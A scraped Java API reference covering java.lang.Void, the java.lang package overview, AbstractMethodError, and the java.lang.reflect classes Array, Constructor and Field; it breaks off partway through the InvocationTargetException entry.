Previous | Home | Next
VerifyError | Book Index | Void
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] Void

Java Fundamental Classes Reference

Previous Chapter 12
The java.lang Package 		Next

Void

Name

Void

Synopsis

Class Name:

java.lang.Void

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability

New as of JDK 1.1

Description

The Void class is an uninstantiable wrapper for the primitive type void. The class contains simply a reference to the Class object that represents the primitive type void. The Void class is necessary as of JDK 1.1 to support the Reflection API and class literals.

Class Summary

public final class java.lang.Void extends java.lang.Object {
  // Constants
  public static final Class TYPE;
}

Constants

TYPE

public static final Class TYPE

The Class object that represents the primitive type void. It is always true that Void.TYPE == void.class.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Byte, Character, Class, Double, Float, Integer, Long, Short

Previous | Home | Next
VirtualMachineError | Book Index | Array
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] The java.lang Package

Java Fundamental Classes Reference

Previous Chapter 12 Next

12. The java.lang Package

Contents:

Select a new section and then

The package java.lang contains classes and interfaces that are essential to the Java language. These include:

  • Object, the ultimate superclass of all classes in Java.

  • Thread, the class that controls each thread in a multithreaded program.

  • Throwable, the superclass of all error and exception classes in Java.

  • Classes that encapsulate the primitive data types in Java.

  • Classes for accessing system resources and other low-level entities.

  • Math, a class that provides standard mathematical methods.

  • String, the class that represents strings.

Because the classes in the java.lang package are so essential, the java.lang package is implicitly imported by every Java source file. In other words, you can refer to all of the classes and interfaces in java.lang using their simple names.

Figure 12.1 shows the class hierarchy for the java.lang package.

The possible exceptions in a Java program are organized in a hierarchy of exception classes. The Throwable class is at the root of the exception hierarchy. Throwable has two immediate subclasses: Exception and Error. Figure 12.2 shows the standard exception classes defined in the java.lang package, while Figure 12.3 shows the standard error classes defined in java.lang.

Figure 12.1: The java.lang package

[Graphic: Figure 12-1]

Figure 12.2: The exception classes in the java.lang package

[Graphic: Figure 12-2]

Figure 12.3: The error classes in the java.lang package

[Graphic: Figure 12-3]

AbstractMethodError

Name

AbstractMethodError

Synopsis

Class Name:

java.lang.AbstractMethodError

Superclass:

java.lang.IncompatibleClassChangeError

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

An AbstractMethodError is thrown when there is an attempt to invoke an abstract method.

Class Summary

public class java.lang.AbstractMethodError
             extends java.lang.IncompatibleClassChangeError {
  // Constructors
  public AbstractMethodError();
  public AbstractMethodError(String s);
}

Constructors

AbstractMethodError

public AbstractMethodError()

Description

This constructor creates an AbstractMethodError with no associated detail message.

public AbstractMethodError(String s)

Parameters

s

The detail message.

Description

This constructor creates an AbstractMethodError with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Error, IncompatibleClassChangeError, Throwable

Previous | Home | Next
Writer | Book Index | ArithmeticException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] The java.lang.reflect Package

Java Fundamental Classes Reference

Previous Chapter 13 Next

13. The java.lang.reflect Package

Contents:
Array
Constructor
Field
InvocationTargetException
Member
Method
Modifier

The package java.lang.reflect is new as of Java 1.1. It contains classes and interfaces that support the Reflection API. Reflection refers to the ability of a class to reflect upon itself, or look inside of itself, to see what it can do. The Reflection API makes it possible to:

  • Discover the variables, methods, and constructors of any class.

  • Create an instance of any class using any available constructor of that class, even if the class initiating the creation was not compiled with any information about the class to be instantiated.

  • Access the variables of any object, even if the accessing class was not compiled with any information about the class to be accessed.

  • Call the methods of any object, even if the calling class was not compiled with any information about the class that contains the methods.

  • Create an array of objects that are instances of any class, even if the creating class was not compiled with any information about the class.

These capabilities are implemented by the java.lang.Class class and the classes in the java.lang.reflect package. Figure 13.1 shows the class hierarchy for the java.lang.reflect package.

Figure 13.1: The java.lang.reflect package

[Graphic: Figure 13-1]

Java 1.1 currently uses the Reflection API for two purposes:

  • The JavaBeans API supports a mechanism for customizing objects that is based on being able to discover their public variables, methods, and constructors. See the forthcoming Developing Java Beans from O'Reilly & Associates for more information about the JavaBeans API.

  • The object serialization functionality in java.io is built on top of the Reflection API. Object serialization allows arbitrary objects to be written to a stream of bytes and then read back later as objects.

Array

Name

Array

Synopsis

Class Name:

java.lang.reflect.Array

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The Array class provides static methods to manipulate arbitrary arrays in Java. There are methods to set and retrieve elements in an array, determine the size of an array, and create a new instance of an array.

The Array class is used to create array objects and manipulate their elements. The Array class is not used to represent array types. Because arrays in Java are objects, array types are represented by Class objects.

Class Summary

public final class java.lang.reflect.Array extends java.lang.Object {
  // Class Methods
  public static native Object get(Object array, int index);
  public static native boolean getBoolean(Object array, int index);
  public static native byte getByte(Object array, int index);
  public static native char getChar(Object array, int index);
  public static native double getDouble(Object array, int index);
  public static native float getFloat(Object array, int index);
  public static native int getInt(Object array, int index);
  public static native int getLength(Object array);
  public static native long getLong(Object array, int index);
  public static native short getShort(Object array, int index);
  public static Object newInstance(Class componentType, int length);
  public static Object newInstance(Class componentType, int[] dimensions);
  public static native void set(Object array, int index, Object value);
  public static native void setBoolean(Object array, int index, boolean z);
  public static native void setByte(Object array, int index, byte b);
  public static native void setChar(Object array, int index, char c);
  public static native void setDouble(Object array, int index, double d);
  public static native void setFloat(Object array, int index, float f);
  public static native void setInt(Object array, int index, int i);
  public static native void setLong(Object array, int index, long l);
  public static native void setShort(Object array, int index, short s);
}

Class Methods

get

 public static native Object get(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The object at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array. If the array contains values of a primitive type, the value at the given index is wrapped in an appropriate object, and the object is returned.

getBoolean

 public static native boolean getBoolean(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The boolean value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a boolean.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a boolean value.

getByte

 public static native byte getByte(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The byte value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a byte.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a byte value.

getChar

 public static native char getChar(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The char value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a char.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a char value.

getDouble

 public static native double getDouble(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The double value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a double.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a double value.

getFloat

 public static native float getFloat(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The float value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a float.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a float value.

getInt

 public static native int getInt(Object array, int index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The int value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a int.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a int value.

getLength

 public static native int getLength(Object array) throws IllegalArgumentException

Parameters

array

An array object.

Returns

The length of the specified array.

Throws

IllegalArgumentException

If the given object is not an array.

Description

This method returns the length of the array.

getLong

 public static native long getLong(Object array, long index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The long value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a long.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a long value.

getShort

 public static native short getShort(Object array, short index) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

Returns

The short value at the given index in the specified array.

Throws

IllegalArgumentException

If the given object is not an array, or the object at the given index cannot be converted to a short.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method returns the object at the given index in the array as a short value.

newInstance

 public static Object newInstance(Class componentType, int length) throws NegativeArraySizeException

Parameters

componentType

The type of each element in the array.

length

The length of the array.

Returns

An array object that contains elements of the given component type and has the specified length.

Throws

NegativeArraySizeException

If length is negative.

NullPointerException

If componentType is null.

Description

This method creates a single-dimension array with the given length and component type.

 public static Object newInstance(Class componentType, int[] dimensions) throws IllegalArgumentException, NegativeArraySizeException

Parameters

componentType

The type of each element in the array.

dimensions

An array that specifies the dimensions of the array to be created.

Returns

An array object that contains elements of the given component type and has the specified number of dimensions.

Throws

IllegalArgumentException

If dimensions has zero dimensions itself, or if it has too many dimensions (typically 255 array dimensions are supported).

NegativeArraySizeException

If length is negative.

NullPointerException

If componentType is null.

Description

This method creates a multidimensional array with the given dimensions and component type.

set

 public static native void set(Object array, int index, Object value) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

value

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if it represents an array of primitive values, and the given value cannot be unwrapped and converted to that primitive type.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the object at the given index in the array to the specified value. If the array contains values of a primitive type, the given value is automatically unwrapped before it is put in the array.

setBoolean

 public static native void setBoolean(Object array, int index, boolean z) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

z

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given boolean value.

setByte

 public static native void setByte(Object array, int index, byte b) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

b

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given byte value.

setChar

 public static native void setChar(Object array, int index, char c) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

c

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given char value.

setDouble

 public static native void setDouble(Object array, int index, double d) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

d

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given double value.

setFloat

 public static native void setFloat(Object array, int index, float f) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

f

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given float value.

setInt

 public static native void setInt(Object array, int index, int i) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

i

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given int value.

setLong

 public static native void setLong(Object array, int index, long l) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

l

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given long value.

setShort

 public static native void setShort(Object array, int index, short s) throws IllegalArgumentException, ArrayIndexOutOfBoundsException

Parameters

array

An array object.

index

An index into the array.

s

The new value.

Throws

IllegalArgumentException

If the given object is not an array, or if the given value cannot be converted to the component type of the array.

ArrayIndexOutOfBoundsException

If the given index is invalid.

NullPointerException

If array is null.

Description

This method sets the element at the given index in the array to the given short value.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

ArrayIndexOutOfBoundsException, Class, IllegalArgumentException, NegativeArraySizeException, NullPointerException, Object

Previous | Home | Next
Void | Book Index | Constructor
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] Constructor

Java Fundamental Classes Reference

Previous Chapter 13
The java.lang.reflect Package 		Next

Constructor

Name

Constructor

Synopsis

Class Name:

java.lang.reflect.Constructor

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.reflect.Member

Availability:

New as of JDK 1.1

Description

The Constructor class represents a constructor of a class. A Constructor object can be obtained by calling the getConstructor() method of a Class object. Constructor provides methods for getting the name, modifiers, parameters, exceptions, and declaring class of a constructor. The newInstance() method can create a new instance of the class that declares a constructor.

Class Summary

public final class java.lang.reflect.Constructor extends java.lang.Object
                   implements java.lang.reflect.Member {
  // Instance Methods
  public boolean equals(Object obj);
  public Class getDeclaringClass();
  public Class[] getExceptionTypes();
  public native int getModifiers();
  public String getName();
  public Class[] getParameterTypes();
  public int hashCode();
  public native Object newInstance(Object[] initargs);
  public String toString();
}

Instance Methods

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Constructor, and it is equivalent to this Constructor.

getDeclaringClass

public Class getDeclaringClass()

Returns

The Class object that represents the class that declared this constructor.

Implements

Member.getDeclaringClass()

Description

This method returns the Class object for the class in which this constructor is declared.

getExceptionTypes

public Class[] getExceptionTypes()

Returns

An array that contains the Class objects that describe the exceptions that can be thrown by this constructor.

Description

This method returns an array of Class objects that represents the throws clause of this constructor. If the constructor does not throw any exceptions, an array of length 0 is returned. As of Java 1.1.2, this method is not properly supported: it always returns an empty array.

getModifiers

public native int getModifiers()

Returns

An integer that represents the modifier keywords used to declare this constructor.

Implements

Member.getModifiers()

Description

This method returns an integer value that represents the modifiers of this constructor. The Modifier class should decode the returned value.

getName

public String getName()

Returns

The name of this constructor as a String.

Implements

Member.getName()

Description

This method returns the name of this constructor, which is always the same as the name of the declaring class.

getParameterTypes

public Class[] getParameterTypes()

Returns

An array that contains the Class objects that describe the parameter types that this constructor accepts.

Description

This method returns an array of Class objects that represents the parameter types this constructor accepts. The parameter types are listed in the order in which they are declared. If the constructor does not take any parameters, an array of length 0 is returned.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this Constructor.

newInstance

 public native Object newInstance(Object[] initargs) throws InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException

Parameters

initargs

An array of arguments to be passed to this constructor.

Returns

The newly created object.

Throws

InstantiationException

If the declaring class of this constructor is abstract.

IllegalAccessException

If the constructor is inaccessible.

IllegalArgumentException

If initargs is the wrong length or contains any value of the wrong type.

InvocationTargetException

If the constructor itself throws an exception.

Description

This method executes the constructor represented by this object using the given array of arguments. Thus, it creates and initializes a new instance of the declaring class of the constructor. If a particular parameter is of a primitive type, the corresponding argument is automatically unwrapped and converted to the appropriate type, if possible. If that is not possible, an IllegalArgumentException is thrown. If the constructor itself throws an exception, the exception is placed in an InvocationTargetException, which is then thrown to the caller of newInstance(). If the constructor completes normally, the newly created instance is returned.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns a string representation of this Constructor. This string contains the access modifiers of the constructor, if any, followed by the fully qualified name of the declaring class and a list of the parameters of the constructor, if any. The list is enclosed by parentheses, and the individual parameters are separated by commas. If the constructor does not have any parameters, just the parentheses are included in the string.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Field, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, Member, Method, Modifier, Object

Previous | Home | Next
Array | Book Index | Field
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] Field

Java Fundamental Classes Reference

Previous Chapter 13
The java.lang.reflect Package 		Next

Field

Name

Field

Synopsis

Class Name:

java.lang.reflect.Field

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.reflect.Member

Availability:

New as of JDK 1.1

Description

The Field class represents a variable or constant in a class. A Field object can be obtained by calling the getField() method of a Class object. Field includes methods for getting the name, modifiers, type, and declaring class of a field. The class also provides methods that can set and retrieve the value of a field for a particular object.

Class Summary

public final class java.lang.reflect.Field extends java.lang.Object
                   implements java.lang.reflect.Member {
  // Instance Methods
  public boolean equals(Object obj);
  public native Object get(Object obj);
  public native boolean getBoolean(Object obj);
  public native byte getByte(Object obj);
  public native char getChar(Object obj);
  public Class getDeclaringClass();
  public native double getDouble(Object obj);
  public native float getFloat(Object obj);
  public native int getInt(Object obj);
  public native long getLong(Object obj);
  public native int getModifiers();
  public String getName();
  public native short getShort(Object obj);
  public Class getType();
  public int hashCode();
  public native void set(Object obj, Object value);
  public native void setBoolean(Object obj, boolean z);
  public native void setByte(Object obj, byte b);
  public native void setChar(Object obj, char c);
  public native void setDouble(Object obj, double d);
  public native void setFloat(Object obj, float f);
  public native void setInt(Object obj, int i);
  public native void setLong(Object obj, long l);
  public native void setShort(Object obj, short s);
  public String toString();
}

Instance Methods

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of Field, and it is equivalent to this Field.

get

 public native Object get(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field. If the field contains a value of a primitive type, the value is wrapped in an appropriate object, and the object is returned.

getBoolean

 public native boolean getBoolean(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The boolean value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a boolean.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as a boolean. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getByte

 public native byte getByte(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The byte value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a byte.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as a byte. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getChar

 public native char getChar(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The char value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a char.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as a char. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getDeclaringClass

public Class getDeclaringClass()

Returns

The Class object that represents the class that declared this field.

Implements

Member.getDeclaringClass()

Description

This method returns the Class object for the class in which this field is declared.

getDouble

 public native double getDouble(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The double value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a double.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as a double. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getFloat

 public native float getFloat(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The float value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a float.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as a float. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getInt

 public native int getInt(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The int value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a int.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as an int. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getLong

 public native long getLong(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The long value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a long.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as a long. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getModifiers

public native int getModifiers()

Returns

An integer that represents the modifier keywords used to declare this field.

Implements

Member.getModifiers()

Description

This method returns an integer value that represents the modifiers of this field. The Modifier class should decode the returned value.

getName

public String getName()

Returns

The name of this field as a String.

Implements

Member.getName()

Description

This method returns the name of this field.

getShort

 public native short getShort(Object obj) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be retrieved.

Returns

The short value of this field in the given object.

Throws

IllegalArgumentException

If obj is not the correct type, or the field cannot be converted to a short.

IllegalAccessException

If the field is not accessible.

NullPointerException

If obj is null.

Description

This method returns the value of this field in the given object as a short. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

getType

public Class getType()

Returns

The Class object that represents the type of this field.

Description

This method returns the Class object for the type of this field.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this Field.

set

 public native void set(Object obj, Object value) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

value

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or value cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field. If the field contains a value of a primitive type, the given value is automatically unwrapped before it is used to set the value of the field.

setBoolean

 public native void setBoolean(Object obj, boolean z) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

z

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or z cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given boolean value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

setByte

 public native void setByte(Object obj, byte b) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

b

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or b cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given byte value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

setChar

 public native void setChar(Object obj, char c) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

c

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or c cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given char value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

setDouble

 public native void setDouble(Object obj, double d) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

d

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or d cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given double value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

setFloat

 public native void setFloat(Object obj, float f) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

f

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or f cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given float value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

setInt

 public native void setInt(Object obj, int i) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

i

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or i cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given int value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

setLong

 public native void setLong(Object obj, long l) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

l

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or l cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given long value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

setShort

 public native void setShort(Object obj, short s) throws IllegalArgumentException, IllegalAccessException

Parameters

obj

The instance whose field value is to be set.

s

The new value.

Throws

IllegalArgumentException

If obj is not an instance of the correct class, or s cannot be converted to the correct type.

IllegalAccessException

If the field is not accessible or declared final.

NullPointerException

If obj is null.

Description

This method sets the value of this field in the given object to the given short value. If the field is declared static, the obj parameter is ignored. Otherwise, the object supplied must be an instance of the class that declares this field.

toString

public String toString()

Returns

A string representation of this object.

Overrides

Object.toString()

Description

This method returns a string representation of this Field. This string contains the access modifiers of the field, if any, followed by the type, the fully qualified name of the declaring class, a period, and the name of the field.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Class, Constructor, IllegalAccessException, IllegalArgumentException, Member, Method, Modifier, NullPointerException, Object

Previous | Home | Next
Constructor | Book Index | InvocationTargetException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 13] InvocationTargetException

Java Fundamental Classes Reference

Previous Chapter 13
The java.lang.reflect Package

InvocationTargetException

Name

InvocationTargetException

Synopsis

Class Name:

java.lang.reflect.InvocationTargetException

Superclass:

java.lang.Exception

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

An InvocationTargetException is thrown when a constructor called through Constructor.newInstance(), or a method called through Method.invoke()throws an exception. The InvocationTargetException encapsulates the thrown exception, which can be retrieved using getTargetException().

Class Summary

public class java.lang.reflect.InvocationTargetException
             extends java.lang.Exception {
  // Constructors
  protected InvocationTargetException();
  public InvocationTargetException(Throwable target);
  public InvocationTargetException(Throwable target, String s);
  // Instance Methods
  public Throwable getTargetException();
}

Constructors

InvocationTargetException

protected InvocationTargetException()

Description

This constructor creates an InvocationTargetException.

public InvocationTargetException(Throwable target)

Parameters
